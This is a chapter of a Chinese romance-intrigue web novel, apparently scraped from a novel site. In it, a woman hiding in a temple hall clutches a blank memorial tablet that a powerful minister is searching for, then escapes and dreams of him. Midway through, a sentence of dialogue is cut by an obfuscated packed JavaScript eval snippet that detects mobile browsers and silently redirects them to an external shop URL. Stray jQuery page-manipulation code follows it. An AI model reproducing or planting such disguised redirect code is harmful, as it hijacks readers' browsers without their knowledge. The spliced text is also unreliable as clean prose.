文趣网 > 都市小说 > 阴鸷权臣沦为弃夫后 > 8. 一帘之隔
    此时天色已黑,庙里异常寂静。

    云瑶本打算去有亮光地方看看有没有僧弥,越走越觉不对,就算此时已经天黑,也还未到僧弥们歇息的时候,再说就算是歇息了,也不会连个值守的都没有。

    寺庙的僧弥们都去哪儿了。

    云瑶本想偷偷摸黑出去,只要出古岩寺,里面发生的事自与自己无关。

    谁知刚动身,前方就传来悉悉索索的声音,躲在树后望去,竟是三五个手拿长刀的黑衣人。

    云瑶无奈只好再寻出路,眼下出门的路被堵住,唯一的选择便是后山。

    后山的石板路蜿蜒向上,小路两边被大树笼罩,恰好为云瑶打了掩护,只是道路湿滑,好几次险些摔倒,不知道走了多久前方才有点火光。

    走近看,竟是一座高大的殿宇,门口的两盏灯光微弱地闪烁着,云瑶轻轻推开大门,里面漆黑一片,空中弥漫着淡淡的檀香。

    身后脚步声紧随其后,竟来得这般快。

    云瑶慌乱间躲进佛台下,顺手拿起一块东西抱在怀里,危急时刻防身用。

    刚躲好便有人冲了进来,云瑶躲在下头看不见外头,只得一边通过脚步声来判断杀手的位置,一边死死抱着手里的东西,心里做着最坏的打算。

    屋子里一共有两个人,一人在佛台西侧,一人在东侧,脚步时远时近。

    屏住呼吸,静默中仿佛能听到心口的跳动。

    “走吧,此处没有牌位,那人应该在别处祭拜。”

    “走,去东边。”

    听到此,云瑶屏住的呼吸才稍稍放松。

    摸了摸手里的东西,不摸还好,一摸才发现这质地、这轮廓,不正是牌位吗。

    合着自己刚刚打算把别人牌位当防身武器了。

    云瑶暗自忏悔,真是罪过,罪过。

    就在云瑶以为危机即将解除时,外面突然响起打斗声,刚刚那二人又回到殿中,刀光剑影里,有人接连倒地,随即整个大殿陷入寂静。

    此时云瑶更不敢擅自出去,只得侧耳听,有人正缓缓走来。

    一队人整齐跪地,声音告诉云瑶这人身份不简单。

    “大人,这些人已经咬舌自尽,死无对证。”

    “无妨,知道是谁的人便可。”

    “能养出如此高手,除了宇文家,就只剩曹家了。”

    “宇文家那位还不至于用此种低劣的手段,罢了,把这二人的头砍下来,放曹欢床头,就当本相送他的礼物。”

    此人声音极为平淡,语调不疾不徐,字里行间透着一股轻蔑的肃杀之气,而且这声音尤为耳熟。

    那人接下命令后便带着人离开了大殿,偌大的殿宇中此刻只剩下云瑶和他。

    不知那人底细,云瑶暂时不敢贸然出现,况且那人刚刚还提到了曹家,身份更加深不可测,可一直窝在这里也不是个事,万一凌万顷见自己迟迟未回一定会找来,到时又麻烦了。

    就在云瑶思考对策时,外面好像又出事了。

    “来人!”一声雷霆之怒将云瑶震得耳聋。

    “大人何事?”

    “今夜把曹府一寸一寸给我搜干净,告诉曹成璋,若那牌位损伤一毫,他就等着绝后。”

    云瑶感到大事不妙,这人说的牌位不会就是......她低头看了看抱着的东西,若此时自己爬出去将东西交出去还有活着的可能吗。

    正犹豫着,就听见那人说:“无论是谁,碰此牌位者,诛。”

    云瑶心里升起的念头彻底被掐灭,如今就只能等人走了自己再悄悄放回去比较合适,至于曹家,自求多福吧,那样的毒瘤,最好除之而后快。

    一番自我疏导后,云瑶心安理得地窝在佛台下,大殿里已经重回寂静,所有人都出去了,唯独那位扬言要诛杀自己的还在殿中离自己仅一步之隔。

    不知道时间过去了多久,殿中香烛快要燃尽,整个大殿闪着微弱的烛光。

    谢惟渊立于佛前,高大耸立的佛像,慈悲为怀,他看着空空的灵台不禁苦笑,三年前的大火烧死了他人生中唯一的枝头,而今天就连伏跪灵前的权利也要失去吗,此时他犹如被抽去筋骨,双膝一软,直直地跪了下去,额头抵着冰冷的砖地,半晌没有起身。

    而佛台下的云瑶此刻备受煎熬,长久地保持一个姿势,使她的双腿已经失去知觉,若他一直不走,她的腿恐怕是要废了。

    就在这每时每刻的煎熬中,殿门打开,那人不知道有何事匆匆出门去了。

    大殿的门阖上许久后,云瑶才艰难地爬出来,立刻把牌位放回原来的位置,云瑶这时才看清牌位,通体无字,不着一笔。

    一块无字牌位,却能如此重视,想来这位对那人应该极为重要,难怪会如此愤怒。

    云瑶后退一步,心中悼念:“今日不敬,冒犯灵位,望君宽宥,莫记此番唐突,以后我一定寻机会给您烧点纸。”随后恭敬一拜,溜之大吉。

    出大殿时已是月挂中宵,云瑶谨慎地往山下摸去,月光透过树梢,细细碎碎地洒下,隐约间,云瑶好似看见一人影。

    那影子也发现了云瑶,身形一顿,慢慢靠近。

    云瑶从树丛里摸了一块石头紧紧攥着,直到那人越来越近,她紧绷的弦才骤然放松。

    “长清,我在这。”

    凌万顷听到云瑶的呼喊,几乎喜极而泣,她今夜回去后以为云瑶不多时也该回去了,可左等右等,饭菜热了好几回都不见人。一想到她今日去的是曹家,担心出事,立马去提刑司要人,这才知晓云瑶来了这,等好不容易到了这,又见寺中空无一人,极其不正常,偷偷看见有人从这山上下去,还扛着几个死人,她这才偷偷摸上来。

    幸好她没事。

    忙跑过来拉起云瑶:“你吓死我了你。”

    目前二人还没完全脱离危险,云瑶来不及多说,先拉着她下山再说。

    此时寺中有零星几个值守的僧弥,凌万顷一问才知道原来每日太阳下山后寺庙中所有僧弥都会聚集在藏经阁抄诵佛经,为民祈福,所以云瑶那时才未见一人。

    可那股血腥味和杀手,昭示着寺中有人受伤,而他们却好像无事发生,云瑶回头看着这座寺庙,心里生出一股悚然之意。

    城门已闭,二人随意找个地方将就了一晚,直到天亮才返回城里。

    刚进临巷舍就听有人在悄声议论昨晚曹家被围之事。

    “谢相可真是肆意妄为,竟敢公然围了曹家,也不知道那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725976|208849||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    曹欢怎么惹着那位阎王了,昨晚差点被废了,若不是谢家丢的东西已经找回,怕是得丢命。”

    “你说这谢相到底丢了什么竟要如此大动干戈,那亲兵把曹府围得水泄不通,简直目无王法。”

    “唉,不讲这些,那谢家自从那谢相三年前回来后,势力威望极盛,有一个当皇后的姐姐又有飞云将军的军功倚仗,谢相三年来化解了与北方鞑靼的纷争,八万大军愣是击退了鞑靼二十万骑兵,决胜千里之外,又上书圣上,大力发展农耕与水师,如今福州地带水寇才得以控制。”

    云瑶脚步一顿,原来昨夜那人是他,难怪。

    凌万顷一听昨晚还有此等大事,兴冲冲跑去打算多听几句。

    一夜未睡好的云瑶躺在床上却不觉得困倦,望着帐顶,时间或许过去太久,有些事她已经快忘了,但有些事她一直记得。

    她的脑中回想起三年前。

    那时候的人和事,她通通可以不在乎,抛之脑后,却唯独那件事难以释怀。

    她不禁想起昨晚那块无字牌位,想起谢惟渊的失控,她还是没能活着么。

    思绪渐渐飘远,恍惚间云瑶好像回到了梧桐巷。

    “云瑶,你又把老娘新买的鱼送那姓谢的是不是。”

    云瑶趴在墙头厚着脸皮笑:“云娘,他有名字,他叫谢惟渊。”

    “管他天渊地渊,你敢动老娘的鱼,看我不扒你一层皮。”

    云瑶见状跳下墙头消失在巷中。

    一阵黑暗过后,云瑶发现自己躺在一间大殿中,四周布满红绸,而自己身着喜服。

    大殿的门窗被封死,无论云瑶如何敲打,始终无人回应,突然,一双手环抱腰身:“阿遥,你回来了。”

    云瑶转身,只见眼前的人竟是谢惟渊。

    云瑶一把推开他,踉跄后退一步。

    他一身喜服,目色幽深,但眉间未脱的青涩让云瑶一眼便看出这是十七岁的谢惟渊,此时二人还未相遇。

    “阿遥,嫁给我。”

    云瑶眉心一皱,当初追在他后面时,不见半分回应,今天倒是主动。

    “阿遥,把手给我,我们该拜堂了。”

    谢惟渊牵起云瑶朝着那座金尊大佛而去,云瑶任由他拉着,一言不发。

    “阿遥,你曾在佛前立誓,生生世世做我的妻子,你永远不会离开我,对不对。”

    若是以前,云瑶会高兴得上蹿下跳:“当然啦,你是我唯一的爱人。”

    可现在云瑶却只说:“我不会成为你的妻子,永远。”

    此话犹如一把利刃划开谢惟渊的伪装,刚刚的摇尾乞怜消失不见,取而代之的是一张似笑非笑的脸,似乎在嘲笑自己不自量力的回答,那刻意隐藏的阴鸷再次浮现。

    “没用的阿遥,你早已是我的魂魄。”

    云瑶冷笑:“那你注定要成为行尸走肉。”

    下一瞬,云瑶手执利刃猛地刺入谢惟渊心口。刹那间,鲜血迸溅。

    可谢惟渊没有半丝痛意,反倒死死的将自己桎梏。

    “阿遥,不许忘了我。”

    接着大殿忽然垮塌,云瑶骤然坐起,睁眼一看,原来是场梦。

    还是个颇不吉利的梦。